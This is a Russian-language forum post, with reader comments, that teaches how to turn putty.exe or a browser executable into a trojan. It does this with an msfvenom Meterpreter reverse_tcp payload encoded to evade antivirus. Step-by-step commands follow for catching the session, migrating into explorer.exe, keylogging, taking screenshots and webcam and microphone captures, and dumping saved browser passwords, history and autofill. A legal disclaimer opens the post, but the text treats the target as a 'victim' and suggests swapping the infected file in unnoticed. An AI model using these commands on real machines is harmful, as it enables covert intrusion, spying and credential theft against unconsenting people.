Kali Linux. Возможности Meterpreter. Часть 1.
Привет. Начну с того, что применять данную информацию против кого-либо, с кем вы не договорились заранее и не получили разрешение(желательно в письменном виде с подписью) - незаконно. Все действия лежат только на ваших плечах и совести. Вся информация предоставлена в ознакомительных целях. Иначе за вами выедут.
Начнём. Возможно, это Часть 1.
Если вы заглянули сюда - значит вы чуточку знаете, что такое Kali Linux и metasploit framework. Если нет, то:
Kali Linux — GNU/Linux-LiveCD, возникший как результат слияния WHAX и Auditor Security Collection. Проект создали Мати Ахарони (Mati Aharoni) и Макс Мозер (Max Moser). Предназначен прежде всего для проведения тестов на безопасность.
Metasploit Framework — удобная платформа для создания и отладки эксплойтов. Кроме того, проект включает в себя базу опкодов, архив шеллкодов и информацию по исследованиям компьютерной безопасности.
Хакер: Kali Linux 2017.1
Жертва: Windows 10 1703 x64
Для начала нам нужно, чтобы наш заражённый файл был запущен на компе/ноутбуке жертвы. Как вы это будете делать - без понятия. Я буду применять свой комп, а Кали у меня на ноуте.
Процесс создания заражённого файла:
1. Внезапно нам нужен файл. В моём примере будет putty, хотя можно юзануть и exe какого-нибудь хрома, например, и потом заражённый файл вернуть на место взамен оригинального. Вы ничего не видели и не знаете
2. Переходим в папку с файлом, либо будем писать полный путь до файла, что не круто.
3. Пишем msfvenom -a x86 --platform windows -x putty.exe -k -p windows/meterpreter/reverse_tcp lhost=192.168.0.101 -e x86/shikata_ga_nai -i 5 -b "\x00" -f exe -o putty3.exe
Поясню, что тут есть:
msfvenom - собсно, создатель троянов/инжектор троянов в .exe
-a x86 - архитектура x86. Для x86 приложений
--platform windows - платформа Windows ¯\_(ツ)_/¯, работает вместе с прошлым атрибутом.
-x putty.exe - файл, который мы заражаем
-k - Без понятия, вот как в оригинале: Preserve the template behavior and inject the payload as a new thread. Что-то типа "встроить нагрузку"
-p windows/meterpreter/reverse_tcp - "полезная нагрузка"
lhost=192.168.0.101 - ip атакующего
-e x86/shikata_ga_nai - шифрование, чтоб антивирусы не палили
-i 5 - количество итераций шифрования. У меня 5.
-b "\x00" - что-то связанное с "плохими символами(bad-chars)"
-f exe - формат файла
-o putty3.exe - выходной файл, который надо отправить жертве
У меня тут 10 итераций(-i 10).
Данный файл любым методом переносится на комп жертвы и запускается или удаляется антивирусом сразу после переноса
Скан Virustotal:
35/64, но для тестов сгодится. Если шифровать разными шифрованиями тыщу раз, то будет меньше палева.
https://www.virustotal.com/#/file/41560e71ef6a7c961b73a77bc9...
Запускаем metasploit framework и ждём.
Нас встретит "msf >"
Команды выглядят так:
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > show options (показывает, что можно настроить)
Пишем "set LHOST 192.168.0.101", в моём случае. У вас, ясное дело, ваш ip Kali Linux.
LHOST и LPORT должны быть теми, которые мы указали в msfvenom.
Подразумевается, что жертва уже запустила файл и у нас есть доступ. Иначе просто не откроется сессия.
Заражённая программа внешне ничем не отличается от оригинала:
Обычная программа. Только закрывается через несколько секунд.
На ноуте в это время пишем exploit и видим это:
Если вы напишете сначала на кириллице, а потом сотрёте и напишете как надо - всё равно символ останется и выдаст ошибку, что у меня и произошло. Странный баг, но забавный. Иногда бесячий.
"meterpreter > " означает, что мы в системе и можем делать что угодно, но перед этим надо перекинуть "заражённый процесс в другой процесс". Чтобы путти мог закрыться и не закрыл вместе с собой сессию.
Пишем ps и видим список процессов. Надо выбрать тот, который закрывать не будут. Например, проводник, который именуется explorer.exe
PID у него 3044. 2800 это PPID и он нам не нужен.
пишем "migrate 3044" и готово.
5412 - прошлый PID. Если закрыть putty - закроется и соединение. После миграции в explorer.exe Путти может спокойно закрыться и соединение не пропадёт.
Мы в системе. Начинается самое интересное. Сверху текст, снизу картинка. Как и везде.
Возможности meterpreter.
Пойдём от простого к интересному. Некоторую дичь затрагивать не буду. Она интересна, вероятно, каким-то редким людям и в некоторых случаях.
1. help. Выдаст возможные команды, но далеко не все. Даже показывать не буду, там крайне мало инфы.
2. sysinfo. и так понятно, что даёт
3. getsystem - должно дать права админа, но на Win10 не работает
4. getuid - узнать имя компа
5. screenshot - делает снимок экрана жертвы в нативном разрешении монитора жертвы. Куда сохраняет - написано. Скриншот в скриншоте.
6. Команды для вебкамеры:
webcam_chat - o_O
webcam_list - список вебкамер у жертвы
webcam_snap - делает снимок на камеру
webcam_stream - вебка в прямом эфире
Не смогу показать, нет вебкамеры и вряд-ли теперь будет.
7. record_mic - записывает с микрофона, но у меня сразу же останавливает. Наверное, особенности Win10 и того, что не получилось ввести getsystem.
8. Кейлоггер:
keyscan_start - включает кейлоггер
keyscan_dump - показывает, что напечатали
keyscan_stop - выключает кейлоггер
Ловит только английские буквы
ololoo, test keylogger
9. uictl [enable/disable] [keyboard/mouse/all] - должно включать/выключать клаву/мышь/и то и другое, но на Win10 не сработало. На Win7 работало.
Неинтересное закончилось, пора переходить к интересному:
Команды вида "run *что-то*". Они уже более интересные. Тут уже нет порядка крутости, тут всё годно. Может быть, когда-нибудь, я проверю все команды и сделаю пост на пикабу. Прям такой "тру обзор", но это не точно.
Чтобы посмотреть все доступные команды - пишем "run " и жмём Таб два раза. Нас спросят "хотите ли вы вывести всё на экран?" а там 200+ позиций. Жмём "y", потом пробел несколько раз, отмотав до конца и видим примерно это:
Всё я показывать не буду, там очень много. Пост не резиновый.
Ах да, иногда может писать, что скрипт не поддерживается в meterpreter. Это дубликаты другого скрипта, который там напишут.
1. run post/windows/manage/enable_rdp - должно включать rdp, но "insufficient privileges", потому что getsystem не работает. Вероятно, в других Виндах заработает.
2. run post/windows/gather/enum_chrome и /enum_firefox - уносит данные из этих браузеров. В т.ч. и пароли. На этапе "Preferences" задумывается, но не зависает. Сохраняет в /root/.msf4/loot и удаляет при закрытии MSF.
Открыть можно через SQLite Database Browser, который есть в том же Кали, хоть это и текстовый документ. Надо только в программе выбрать "All files".
Файлы Preference и Decrypted открываются в текстовом редакторе.
Про дубликаты: там есть "run enum_chrome", но MSF пожалуется, что он недоступен в этой версии и скажет "юзайте run post/windows/gather/enum_chrome". Если что-то не работает - читайте, что предлагает MSF.
Что же можно там узнать?
2.1. Автозаполнение
2.2. Историю скачивания файлов
2.3. Историю ссылок скачивания файлов
2.4. Гуглопоиск, видимо
2.5. Историю посещения сайтов
2.6. Логины
2.7. Логины/пароли/сайты, куда подходят логины и пароли
2.8. Закладки
2.9. Телефоны в автозаполнении(если повезёт)
2.10. Адреса в автозаполнении(если повезёт)
На этом пока всё, надо сделать базу к следующему посту и проверить ещё больше вещей в том списке. Вторая часть будет завтра, скорее всего. Но это не точно.
1) 4 сейва за пост и -1 бал)
2) норм гайд, но загружать на virustotal, тебе за это на некоторых форумах прямой бан дадут)
ну есть же другие сервисы по мимо VT... все нормас бро, но так больше не нужно делать!
Здравствуйте! А когда будет вторая часть?